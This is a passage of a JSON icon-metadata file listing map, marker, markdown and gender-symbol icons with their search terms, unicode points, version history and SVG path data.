0 2.89-7.31c1-5.3 2.85-9.08 5.58-11.51 4.7-4.18 6-1.09 4.59 10.87-.46 3.86-1.1 10.33-1.44 14.38l-.61 7.36 4.45 4.09 4.45 4.09.11 8.42c.06 4.63.47 9.53.92 10.89l.82 2.47-6.43 6.28c-8.54 8.33-12.88 13.93-16.76 21.61-1.77 3.49-3.74 7.11-4.38 8-2.18 3.11-6.46 13-8.76 20.26l-2.29 7.22-7 6.49c-3.83 3.57-8 7.25-9.17 8.17-3.05 2.32-4.26 5.15-4.26 10a14.62 14.62 0 0 0 1.59 7.26 42 42 0 0 1 2.09 4.83 9.28 9.28 0 0 0 1.57 2.89c1.4 1.59 1.92 16.12.83 23.22-.68 4.48-3.63 12-4.7 12-1.79 0-4.06 9.27-5.07 20.74-.18 2-.62 5.94-1 8.7s-1 10-1.35 16.05c-.77 12.22-.19 18.77 2 23.15 3.41 6.69.52 12.69-11 22.84l-4 3.49.07 5.19a40.81 40.81 0 0 0 1.14 8.87c4.61 16 4.73 16.92 4.38 37.13-.46 26.4-.26 40.27.63 44.15a61.31 61.31 0 0 1 1.08 7c.17 2 .66 5.33 1.08 7.36.47 2.26.78 11 .79 22.74v19.06l-1.81 2.63c-2.71 3.91-15.11 13.54-15.49 12.29zm29.53-45.11c-.18-.3-.33-6.87-.33-14.59 0-14.06-.89-27.54-2.26-34.45-.4-2-.81-9.7-.9-17.06-.15-11.93-1.4-24.37-2.64-26.38-.66-1.07-3-17.66-3-21.3 0-4.23 1-6 5.28-9.13s4.86-3.14 5.48-.72c.28 1.1 1.45 5.62 2.6 10 3.93 15.12 4.14 16.27 4.05 21.74-.1 5.78-.13 6.13-1.74 17.73-1 7.07-1.17 12.39-1 28.43.17 19.4-.64 35.73-2 41.27-.71 2.78-2.8 5.48-3.43 4.43zm-71-37.58a101 101 0 0 1-1.73-10.79 100.5 100.5 0 0 0-1.73-10.79 37.53 37.53 0 0 1-1-6.49c-.31-3.19-.91-7.46-1.33-9.48-1-4.79-3.35-19.35-3.42-21.07 0-.74-.34-4.05-.7-7.36-.67-6.21-.84-27.67-.22-28.29 1-1 6.63 2.76 11.33 7.43l5.28 5.25-.45 6.47c-.25 3.56-.6 10.23-.78 14.83s-.49 9.87-.67 11.71-.61 9.36-.94 16.72c-.79 17.41-1.94 31.29-2.65 32a.62.62 0 0 1-1-.14zm-87.18-266.59c21.07 12.79 17.84 14.15 28.49 17.66 13 4.29 18.87 7.13 23.15 16.87C111.6 233.28 86.25 255 78.55 268c-31 52-6 101.59 62.75 87.21-14.18 29.23-78 28.63-98.68-4.9-24.68-39.95-22.09-118.3 61-187.66zm210.79 179c56.66 6.88 82.32-37.74 46.54-89.23 0 0-26.87-29.34-64.28-68 3-15.45 9.49-32.12 30.57-53.82 89.2 63.51 92 141.61 92.46 149.36 4.3 70.64-78.7 91.18-105.29 61.71z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M232.27 511.89c-1-3.26-1.69-15.83-1.39-24.58.55-15.89 1-24.72 1.4-28.76.64-6.2 2.87-20.72 3.28-21.38.6-1 .4-27.87-.24-33.13-.31-2.58-.63-11.9-.69-20.73-.13-16.47-.53-20.12-2.73-24.76-1.1-2.32-1.23-3.84-1-11.43a92.38 92.38 0 0 0-.34-12.71c-2-13-3.46-27.7-3.25-33.9s.43-7.15 2.06-9.67c3.05-4.71 6.51-14 8.62-23.27 2.26-9.86 3.88-17.18 4.59-20.74a109.54 109.54 0 0 1 4.42-15.05c2.27-6.25 2.49-15.39.37-15.39-.3 0-1.38 1.22-2.41 2.71s-4.76 4.8-8.29 7.36c-8.37 6.08-11.7 9.39-12.66 12.58s-1 7.23-.16 7.76c.34.21 1.29 2.4 2.11 4.88a28.83 28.83 0 0 1 .72 15.36c-.39 1.77-1 5.47-1.46 8.23s-1 6.46-1.25 8.22a9.85 9.85 0 0 1-1.55 4.26c-1 1-1.14.91-2.05-.53a14.87 14.87 0 0 1-1.44-4.75c-.25-1.74-1.63-7.11-3.08-11.93-3.28-10.9-3.52-16.15-1-21a14.24 14.24 0 0 0 1.67-4.61c0-2.39-2.2-5.32-7.41-9.89-7-6.18-8.63-7.92-10.23-11.3-1.71-3.6-3.06-4.06-4.54-1.54-1.78 3-2.6 9.11-3 22l-.34 12.19 2 2.25c3.21 3.7 12.07 16.45 13.78 19.83 3.41 6.74 4.34 11.69 4.41 23.56s.95 22.75 2 24.71c.36.66.51 1.35.34 1.52s.41 2.09 1.29 4.27a38.14 38.14 0 0 1 2.06 9 91 91 0 0 0 1.71 10.37c2.23 9.56 2.77 14.08 2.39 20.14-.2 3.27-.53 11.07-.73 17.32-1.31 41.76-1.85 58-2 61.21-.12 2-.39 11.51-.6 21.07-.36 16.3-1.3 27.37-2.42 28.65-.64.73-8.07-4.91-12.52-9.49-3.75-3.87-4-4.79-2.83-9.95.7-3 2.26-18.29 3.33-32.62.36-4.78.81-10.5 1-12.71.83-9.37 1.66-20.35 2.61-34.78.56-8.46 1.33-16.44 1.72-17.73s.89-9.89 1.13-19.11l.43-16.77-2.26-4.3c-1.72-3.28-4.87-6.94-13.22-15.34-6-6.07-11.84-12.3-12.91-13.85l-1.95-2.81.75-10.9c1.09-15.71 1.1-48.57 0-59.06l-.89-8.7-3.28-4.52c-5.86-8.08-5.8-7.75-6.22-33.27-.1-6.07-.38-11.5-.63-12.06-.83-1.87-3.05-2.66-8.54-3.05-8.86-.62-11-1.9-23.85-14.55-6.15-6-12.34-12-13.75-13.19-2.81-2.42-2.79-2-.56-9.63l1.35-4.65-1.69-3a32.22 32.22 0 0 0-2.59-4.07c-1.33-1.51-5.5-10.89-6-13.49a4.24 4.24 0 0 1 .87-3.9c2.23-2.86 3.4-5.68 4.45-10.73 2.33-11.19 7.74-26.09 10.6-29.22 3.18-3.47 7.7-1 9.41 5 1.34 4.79 1.37 9.79.1 18.55a101.2 101.2 0 0 0-1 11.11c0 4 .19 4.69 2.25 7.39 3.33 4.37 7.73 7.41 15.2 10.52a18.67 18.67 0 0 1 4.72 2.85c11.17 10.72 18.62 16.18 22.95 16.85 5.18.8 8 4.54 10 13.39 1.31 5.65 4 11.14 5.46 11.14a9.38 9.38 0 0 0 3.33-1.39c2-1.22 2.25-1.73 2.25-4.18a132.88 132.88 0 0 0-2-17.84c-.37-1.66-.78-4.06-.93-5.35s-.61-3.85-1-5.69c-2.55-11.16-3.65-15.46-4.1-16-1.55-2-4.08-10.2-4.93-15.92-1.64-11.11-4-14.23-12.91-17.39A43.15 43.15 0 0 1 165.24 78c-1.15-1-4-3.22-6.35-5.06s-4.41-3.53-4.6-3.76a22.7 22.7 0 0 0-2.69-2c-6.24-4.22-8.84-7-11.26-12l-2.44-5-.22-13-.22-13 6.91-6.55c3.95-3.75 8.48-7.35 10.59-8.43 3.31-1.69 4.45-1.89 11.37-2 8.53-.19 10.12 0 11.66 1.56s1.36 6.4-.29 8.5a6.66 6.66 0 0 0-1.34 2.32c0 .58-2.61 4.91-5.42 9a30.39 30.39 0 0 0-2.37 6.82c20.44 13.39 21.55 3.77 14.07 29L194 66.92c3.11-8.66 6.47-17.26 8.61-26.22.29-7.63-12-4.19-15.4-8.68-2.33-5.93 3.13-14.18 6.06-19.2 1.6-2.34 6.62-4.7 8.82-4.15.88.22 4.16-.35 7.37-1.28a45.3 45.3 0 0 1 7.55-1.68 29.57 29.57 0 0 0 6-1.29c3.65-1.11 4.5-1.17 6.35-.4a29.54 29.54 0 0 0 5.82 1.36 18.18 18.18 0 0 1 6 1.91 22.67 22.67 0 0 0 5 2.17c2.51.68 3 .57 7.05-1.67l4.35-2.4L268.32 5c10.44-.4 10.81-.47 15.26-2.68L288.16 0l2.46 1.43c1.76 1 3.14 2.73 4.85 6 2.36 4.51 2.38 4.58 1.37 7.37-.88 2.44-.89 3.3-.1 6.39a35.76 35.76 0 0 0 2.1 5.91 13.55 13.55 0 0 1 1.31 4c.31 4.33 0 5.3-2.41 6.92-2.17 1.47-7 7.91-7 9.34a14.77 14.77 0 0 1-1.07 3c-5 11.51-6.76 13.56-14.26 17-9.2 4.2-12.3 5.19-16.21 5.19-3.1 0-4 .25-4.54 1.26a18.33 18.33 0 0 1-4.09 3.71 13.62 13.62 0 0 0-4.38 4.78 5.89 5.89 0 0 1-2.49 2.91 6.88 6.88 0 0 0-2.45 1.71 67.62 67.62 0 0 1-7 5.38c-3.33 2.34-6.87 5-7.87 6A7.27 7.27 0 0 1 224 100a5.76 5.76 0 0 0-2.13 1.65c-1.31 1.39-1.49 2.11-1.14 4.6a36.45 36.45 0 0 0 1.42 5.88c1.32 3.8 1.31 7.86 0 10.57s-.89 6.65 1.35 9.59c2 2.63 2.16 4.56.71 8.84a33.45 33.45 0 0 0-1.06 8.91c0 4.88.22 6.28 1.46 8.38s1.82 2.48 3.24 2.32c2-.23 2.3-1.05 4.71-12.12 2.18-10 3.71-11.92 13.76-17.08 2.94-1.51 7.46-4 10-5.44s6.79-3.69 9.37-4.91a40.09 40.09 0 0 0 15.22-11.67c7.11-8.79 10-16.22 12.85-33.3a18.37 18.37 0 0 1 2.86-7.73 20.39 20.39 0 0 0 2.89-7.31c1-5.3 2.85-9.08 5.58-11.51 4.7-4.18 6-1.09 4.59 10.87-.46 3.86-1.1 10.33-1.44 14.38l-.61 7.36 4.45 4.09 4.45 4.09.11 8.42c.06 4.63.47 9.53.92 10.89l.82 2.47-6.43 6.28c-8.54 8.33-12.88 13.93-16.76 21.61-1.77 3.49-3.74 7.11-4.38 8-2.18 3.11-6.46 13-8.76 20.26l-2.29 7.22-7 6.49c-3.83 3.57-8 7.25-9.17 8.17-3.05 2.32-4.26 5.15-4.26 10a14.62 14.62 0 0 0 1.59 7.26 42 42 0 0 1 2.09 4.83 9.28 9.28 0 0 0 1.57 2.89c1.4 1.59 1.92 16.12.83 23.22-.68 4.48-3.63 12-4.7 12-1.79 0-4.06 9.27-5.07 20.74-.18 2-.62 5.94-1 8.7s-1 10-1.35 16.05c-.77 12.22-.19 18.77 2 23.15 3.41 6.69.52 12.69-11 22.84l-4 3.49.07 5.19a40.81 40.81 0 0 0 1.14 8.87c4.61 16 4.73 16.92 4.38 37.13-.46 26.4-.26 40.27.63 44.15a61.31 61.31 0 0 1 1.08 7c.17 2 .66 5.33 1.08 7.36.47 2.26.78 11 .79 22.74v19.06l-1.81 2.63c-2.71 3.91-15.11 13.54-15.49 12.29zm29.53-45.11c-.18-.3-.33-6.87-.33-14.59 0-14.06-.89-27.54-2.26-34.45-.4-2-.81-9.7-.9-17.06-.15-11.93-1.4-24.37-2.64-26.38-.66-1.07-3-17.66-3-21.3 0-4.23 1-6 5.28-9.13s4.86-3.14 5.48-.72c.28 1.1 1.45 5.62 2.6 10 3.93 15.12 4.14 16.27 4.05 21.74-.1 5.78-.13 6.13-1.74 17.73-1 7.07-1.17 12.39-1 28.43.17 19.4-.64 35.73-2 41.27-.71 2.78-2.8 5.48-3.43 4.43zm-71-37.58a101 101 0 0 1-1.73-10.79 100.5 100.5 0 0 0-1.73-10.79 37.53 37.53 0 0 1-1-6.49c-.31-3.19-.91-7.46-1.33-9.48-1-4.79-3.35-19.35-3.42-21.07 0-.74-.34-4.05-.7-7.36-.67-6.21-.84-27.67-.22-28.29 1-1 6.63 2.76 11.33 7.43l5.28 5.25-.45 6.47c-.25 3.56-.6 10.23-.78 14.83s-.49 9.87-.67 11.71-.61 9.36-.94 16.72c-.79 17.41-1.94 31.29-2.65 32a.62.62 0 0 1-1-.14zm-87.18-266.59c21.07 12.79 17.84 14.15 28.49 17.66 13 4.29 18.87 7.13 23.15 16.87C111.6 233.28 86.25 255 78.55 268c-31 52-6 101.59 62.75 87.21-14.18 29.23-78 28.63-98.68-4.9-24.68-39.95-22.09-118.3 61-187.66zm210.79 179c56.66 6.88 82.32-37.74 46.54-89.23 0 0-26.87-29.34-64.28-68 3-15.45 9.49-32.12 30.57-53.82 89.2 63.51 92 141.61 92.46 149.36 4.3 70.64-78.7 91.18-105.29 61.71z"
      }
    },
    "free": ["brands"]
  },
  "map": {
    "aliases": {
      "unicodes": {
        "composite": ["1f5fa", "f278"],
        "secondary": ["10f279"]
      }
    },
    "changes": [
      "4.4.0",
      "5.0.0",
      "5.1.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "address",
        "coordinates",
        "destination",
        "gps",
        "localize",
        "location",
        "map",
        "navigation",
        "paper",
        "pin",
        "place",
        "point of interest",
        "position",
        "route",
        "travel",
        "world",
        "world map"
      ]
    },
    "styles": ["solid", "regular"],
    "unicode": "f279",
    "label": "Map",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767488,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M384 476.1L192 421.2V35.9L384 90.8V476.1zm32-1.2V88.4L543.1 37.5c15.8-6.3 32.9 5.3 32.9 22.3V394.6c0 9.8-6 18.6-15.1 22.3L416 474.8zM15.1 95.1L160 37.2V423.6L32.9 474.5C17.1 480.8 0 469.2 0 452.2V117.4c0-9.8 6-18.6 15.1-22.3z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M384 476.1L192 421.2V35.9L384 90.8V476.1zm32-1.2V88.4L543.1 37.5c15.8-6.3 32.9 5.3 32.9 22.3V394.6c0 9.8-6 18.6-15.1 22.3L416 474.8zM15.1 95.1L160 37.2V423.6L32.9 474.5C17.1 480.8 0 469.2 0 452.2V117.4c0-9.8 6-18.6 15.1-22.3z"
      },
      "regular": {
        "last_modified": 1684767488,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M565.6 36.2C572.1 40.7 576 48.1 576 56V392c0 10-6.2 18.9-15.5 22.4l-168 64c-5.2 2-10.9 2.1-16.1 .3L192.5 417.5l-160 61c-7.4 2.8-15.7 1.8-22.2-2.7S0 463.9 0 456V120c0-10 6.1-18.9 15.5-22.4l168-64c5.2-2 10.9-2.1 16.1-.3L383.5 94.5l160-61c7.4-2.8 15.7-1.8 22.2 2.7zM48 136.5V421.2l120-45.7V90.8L48 136.5zM360 422.7V137.3l-144-48V374.7l144 48zm48-1.5l120-45.7V90.8L408 136.5V421.2z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M565.6 36.2C572.1 40.7 576 48.1 576 56V392c0 10-6.2 18.9-15.5 22.4l-168 64c-5.2 2-10.9 2.1-16.1 .3L192.5 417.5l-160 61c-7.4 2.8-15.7 1.8-22.2-2.7S0 463.9 0 456V120c0-10 6.1-18.9 15.5-22.4l168-64c5.2-2 10.9-2.1 16.1-.3L383.5 94.5l160-61c7.4-2.8 15.7-1.8 22.2 2.7zM48 136.5V421.2l120-45.7V90.8L48 136.5zM360 422.7V137.3l-144-48V374.7l144 48zm48-1.5l120-45.7V90.8L408 136.5V421.2z"
      }
    },
    "free": ["regular", "solid"]
  },
  "map-location": {
    "aliases": {
      "names": ["map-marked"],
      "unicodes": {
        "secondary": ["10f59f"]
      }
    },
    "changes": [
      "5.1.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "address",
        "coordinates",
        "destination",
        "gps",
        "localize",
        "location",
        "map",
        "navigation",
        "paper",
        "pin",
        "place",
        "point of interest",
        "position",
        "route",
        "travel"
      ]
    },
    "styles": ["solid"],
    "unicode": "f59f",
    "label": "Map Location",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767489,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M302.8 312C334.9 271.9 408 174.6 408 120C408 53.7 354.3 0 288 0S168 53.7 168 120c0 54.6 73.1 151.9 105.2 192c7.7 9.6 22 9.6 29.6 0zM416 503l144.9-58c9.1-3.6 15.1-12.5 15.1-22.3V152c0-17-17.1-28.6-32.9-22.3l-116 46.4c-.5 1.2-1 2.5-1.5 3.7c-2.9 6.8-6.1 13.7-9.6 20.6V503zM15.1 187.3C6 191 0 199.8 0 209.6V480.4c0 17 17.1 28.6 32.9 22.3L160 451.8V200.4c-3.5-6.9-6.7-13.8-9.6-20.6c-5.6-13.2-10.4-27.4-12.8-41.5l-122.6 49zM384 255c-20.5 31.3-42.3 59.6-56.2 77c-20.5 25.6-59.1 25.6-79.6 0c-13.9-17.4-35.7-45.7-56.2-77V449.4l192 54.9V255z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M302.8 312C334.9 271.9 408 174.6 408 120C408 53.7 354.3 0 288 0S168 53.7 168 120c0 54.6 73.1 151.9 105.2 192c7.7 9.6 22 9.6 29.6 0zM416 503l144.9-58c9.1-3.6 15.1-12.5 15.1-22.3V152c0-17-17.1-28.6-32.9-22.3l-116 46.4c-.5 1.2-1 2.5-1.5 3.7c-2.9 6.8-6.1 13.7-9.6 20.6V503zM15.1 187.3C6 191 0 199.8 0 209.6V480.4c0 17 17.1 28.6 32.9 22.3L160 451.8V200.4c-3.5-6.9-6.7-13.8-9.6-20.6c-5.6-13.2-10.4-27.4-12.8-41.5l-122.6 49zM384 255c-20.5 31.3-42.3 59.6-56.2 77c-20.5 25.6-59.1 25.6-79.6 0c-13.9-17.4-35.7-45.7-56.2-77V449.4l192 54.9V255z"
      }
    },
    "free": ["solid"]
  },
  "map-location-dot": {
    "aliases": {
      "names": ["map-marked-alt"],
      "unicodes": {
        "secondary": ["10f5a0"]
      }
    },
    "changes": [
      "5.1.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "address",
        "coordinates",
        "destination",
        "gps",
        "localize",
        "location",
        "map",
        "navigation",
        "paper",
        "pin",
        "place",
        "point of interest",
        "position",
        "route",
        "travel"
      ]
    },
    "styles": ["solid"],
    "unicode": "f5a0",
    "label": "Map Location Dot",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767489,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 576 512\"><path d=\"M408 120c0 54.6-73.1 151.9-105.2 192c-7.7 9.6-22 9.6-29.6 0C241.1 271.9 168 174.6 168 120C168 53.7 221.7 0 288 0s120 53.7 120 120zm8 80.4c3.5-6.9 6.7-13.8 9.6-20.6c.5-1.2 1-2.5 1.5-3.7l116-46.4C558.9 123.4 576 135 576 152V422.8c0 9.8-6 18.6-15.1 22.3L416 503V200.4zM137.6 138.3c2.4 14.1 7.2 28.3 12.8 41.5c2.9 6.8 6.1 13.7 9.6 20.6V451.8L32.9 502.7C17.1 509 0 497.4 0 480.4V209.6c0-9.8 6-18.6 15.1-22.3l122.6-49zM327.8 332c13.9-17.4 35.7-45.7 56.2-77V504.3L192 449.4V255c20.5 31.3 42.3 59.6 56.2 77c20.5 25.6 59.1 25.6 79.6 0zM288 152a40 40 0 1 0 0-80 40 40 0 1 0 0 80z\"/></svg>",
        "viewBox": [0, 0, 576, 512],
        "width": 576,
        "height": 512,
        "path": "M408 120c0 54.6-73.1 151.9-105.2 192c-7.7 9.6-22 9.6-29.6 0C241.1 271.9 168 174.6 168 120C168 53.7 221.7 0 288 0s120 53.7 120 120zm8 80.4c3.5-6.9 6.7-13.8 9.6-20.6c.5-1.2 1-2.5 1.5-3.7l116-46.4C558.9 123.4 576 135 576 152V422.8c0 9.8-6 18.6-15.1 22.3L416 503V200.4zM137.6 138.3c2.4 14.1 7.2 28.3 12.8 41.5c2.9 6.8 6.1 13.7 9.6 20.6V451.8L32.9 502.7C17.1 509 0 497.4 0 480.4V209.6c0-9.8 6-18.6 15.1-22.3l122.6-49zM327.8 332c13.9-17.4 35.7-45.7 56.2-77V504.3L192 449.4V255c20.5 31.3 42.3 59.6 56.2 77c20.5 25.6 59.1 25.6 79.6 0zM288 152a40 40 0 1 0 0-80 40 40 0 1 0 0 80z"
      }
    },
    "free": ["solid"]
  },
  "map-pin": {
    "aliases": {
      "unicodes": {
        "composite": ["1f4cd"],
        "secondary": ["10f276"]
      }
    },
    "changes": [
      "4.4.0",
      "5.0.0",
      "5.2.0",
      "6.0.0-beta1",
      "6.0.0-beta3",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "address",
        "agree",
        "coordinates",
        "destination",
        "gps",
        "localize",
        "location",
        "map",
        "marker",
        "navigation",
        "pin",
        "place",
        "position",
        "pushpin",
        "round pushpin",
        "travel"
      ]
    },
    "styles": ["solid"],
    "unicode": "f276",
    "label": "Map Pin",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684767488,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 320 512\"><path d=\"M16 144a144 144 0 1 1 288 0A144 144 0 1 1 16 144zM160 80c8.8 0 16-7.2 16-16s-7.2-16-16-16c-53 0-96 43-96 96c0 8.8 7.2 16 16 16s16-7.2 16-16c0-35.3 28.7-64 64-64zM128 480V317.1c10.4 1.9 21.1 2.9 32 2.9s21.6-1 32-2.9V480c0 17.7-14.3 32-32 32s-32-14.3-32-32z\"/></svg>",
        "viewBox": [0, 0, 320, 512],
        "width": 320,
        "height": 512,
        "path": "M16 144a144 144 0 1 1 288 0A144 144 0 1 1 16 144zM160 80c8.8 0 16-7.2 16-16s-7.2-16-16-16c-53 0-96 43-96 96c0 8.8 7.2 16 16 16s16-7.2 16-16c0-35.3 28.7-64 64-64zM128 480V317.1c10.4 1.9 21.1 2.9 32 2.9s21.6-1 32-2.9V480c0 17.7-14.3 32-32 32s-32-14.3-32-32z"
      }
    },
    "free": ["solid"]
  },
  "markdown": {
    "changes": ["5.2.0", "5.7.0"],
    "ligatures": [],
    "search": {
      "terms": []
    },
    "styles": ["brands"],
    "unicode": "f60f",
    "label": "Markdown",
    "voted": true,
    "svg": {
      "brands": {
        "last_modified": 1660014480,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 640 512\"><path d=\"M593.8 59.1H46.2C20.7 59.1 0 79.8 0 105.2v301.5c0 25.5 20.7 46.2 46.2 46.2h547.7c25.5 0 46.2-20.7 46.1-46.1V105.2c0-25.4-20.7-46.1-46.2-46.1zM338.5 360.6H277v-120l-61.5 76.9-61.5-76.9v120H92.3V151.4h61.5l61.5 76.9 61.5-76.9h61.5v209.2zm135.3 3.1L381.5 256H443V151.4h61.5V256H566z\"/></svg>",
        "viewBox": [0, 0, 640, 512],
        "width": 640,
        "height": 512,
        "path": "M593.8 59.1H46.2C20.7 59.1 0 79.8 0 105.2v301.5c0 25.5 20.7 46.2 46.2 46.2h547.7c25.5 0 46.2-20.7 46.1-46.1V105.2c0-25.4-20.7-46.1-46.2-46.1zM338.5 360.6H277v-120l-61.5 76.9-61.5-76.9v120H92.3V151.4h61.5l61.5 76.9 61.5-76.9h61.5v209.2zm135.3 3.1L381.5 256H443V151.4h61.5V256H566z"
      }
    },
    "free": ["brands"]
  },
  "marker": {
    "aliases": {
      "unicodes": {
        "secondary": ["10f5a1"]
      }
    },
    "changes": ["5.1.0", "6.0.0-beta1", "6.0.0", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["design", "edit", "sharpie", "update", "write"]
    },
    "styles": ["solid"],
    "unicode": "f5a1",
    "label": "Marker",
    "voted": true,
    "svg": {
      "solid": {
        "last_modified": 1684767368,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M481 31C445.1-4.8 386.9-4.8 351 31l-15 15L322.9 33C294.8 4.9 249.2 4.9 221.1 33L135 119c-9.4 9.4-9.4 24.6 0 33.9s24.6 9.4 33.9 0L255 66.9c9.4-9.4 24.6-9.4 33.9 0L302.1 80 186.3 195.7 316.3 325.7 481 161c35.9-35.9 35.9-94.1 0-129.9zM293.7 348.3L163.7 218.3 99.5 282.5c-48 48-80.8 109.2-94.1 175.8l-5 25c-1.6 7.9 .9 16 6.6 21.7s13.8 8.1 21.7 6.6l25-5c66.6-13.3 127.8-46.1 175.8-94.1l64.2-64.2z\"/></svg>",
        "viewBox": [0, 0, 512, 512],
        "width": 512,
        "height": 512,
        "path": "M481 31C445.1-4.8 386.9-4.8 351 31l-15 15L322.9 33C294.8 4.9 249.2 4.9 221.1 33L135 119c-9.4 9.4-9.4 24.6 0 33.9s24.6 9.4 33.9 0L255 66.9c9.4-9.4 24.6-9.4 33.9 0L302.1 80 186.3 195.7 316.3 325.7 481 161c35.9-35.9 35.9-94.1 0-129.9zM293.7 348.3L163.7 218.3 99.5 282.5c-48 48-80.8 109.2-94.1 175.8l-5 25c-1.6 7.9 .9 16 6.6 21.7s13.8 8.1 21.7 6.6l25-5c66.6-13.3 127.8-46.1 175.8-94.1l64.2-64.2z"
      }
    },
    "free": ["solid"]
  },
  "mars": {
    "aliases": {
      "unicodes": {
        "composite": ["2642"],
        "secondary": ["10f222"]
      }
    },
    "changes": ["4.3.0", "5.0.0", "6.0.0-beta1", "6.2.0", "6.3.0", "6.4.0"],
    "ligatures": [],
    "search": {
      "terms": ["gender", "male", "male sign", "man"]
    },
    "styles": ["solid"],
    "unicode": "f222",
    "label": "Mars",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766750,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 448 512\"><path d=\"M289.8 46.8c3.7-9 12.5-14.8 22.2-14.8H424c13.3 0 24 10.7 24 24V168c0 9.7-5.8 18.5-14.8 22.2s-19.3 1.7-26.2-5.2l-33.4-33.4L321 204.2c19.5 28.4 31 62.7 31 99.8c0 97.2-78.8 176-176 176S0 401.2 0 304s78.8-176 176-176c37 0 71.4 11.4 99.8 31l52.6-52.6L295 73c-6.9-6.9-8.9-17.2-5.2-26.2zM400 80l0 0h0v0zM176 416a112 112 0 1 0 0-224 112 112 0 1 0 0 224z\"/></svg>",
        "viewBox": [0, 0, 448, 512],
        "width": 448,
        "height": 512,
        "path": "M289.8 46.8c3.7-9 12.5-14.8 22.2-14.8H424c13.3 0 24 10.7 24 24V168c0 9.7-5.8 18.5-14.8 22.2s-19.3 1.7-26.2-5.2l-33.4-33.4L321 204.2c19.5 28.4 31 62.7 31 99.8c0 97.2-78.8 176-176 176S0 401.2 0 304s78.8-176 176-176c37 0 71.4 11.4 99.8 31l52.6-52.6L295 73c-6.9-6.9-8.9-17.2-5.2-26.2zM400 80l0 0h0v0zM176 416a112 112 0 1 0 0-224 112 112 0 1 0 0 224z"
      }
    },
    "free": ["solid"]
  },
  "mars-and-venus": {
    "aliases": {
      "unicodes": {
        "composite": ["26a5"],
        "secondary": ["10f224"]
      }
    },
    "changes": [
      "4.3.0",
      "5.0.0",
      "5.11.0",
      "6.0.0-beta1",
      "6.2.0",
      "6.3.0",
      "6.4.0"
    ],
    "ligatures": [],
    "search": {
      "terms": [
        "Male and Female Sign",
        "female",
        "gender",
        "intersex",
        "male",
        "transgender"
      ]
    },
    "styles": ["solid"],
    "unicode": "f224",
    "label": "Mars And Venus",
    "voted": false,
    "svg": {
      "solid": {
        "last_modified": 1684766750,
        "raw": "<svg xmlns=\"http://www.w3.org/2000/svg\" viewBox=\"0 0 512 512\"><path d=\"M337.8 14.8C341.5 5.8 350.3 0 360 0H472c13.3 0 24 10.7 24 24V136c0 9.7-5.8 18.5-14.8 22.2s-19.3 1.7-26.2-5.2l-39-39-24.7 24.7C407 163.3 416 192.6 416 224c0 80.2-59.1 146.7-136.1 158.2c0 .6 .1 1.2 .1 1.8v.4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .4 .3 .4 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3 .3h24c13.3 0 24 10.7 24 24s-10.7 24-24 24H280v.2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .2 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 .1 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 0 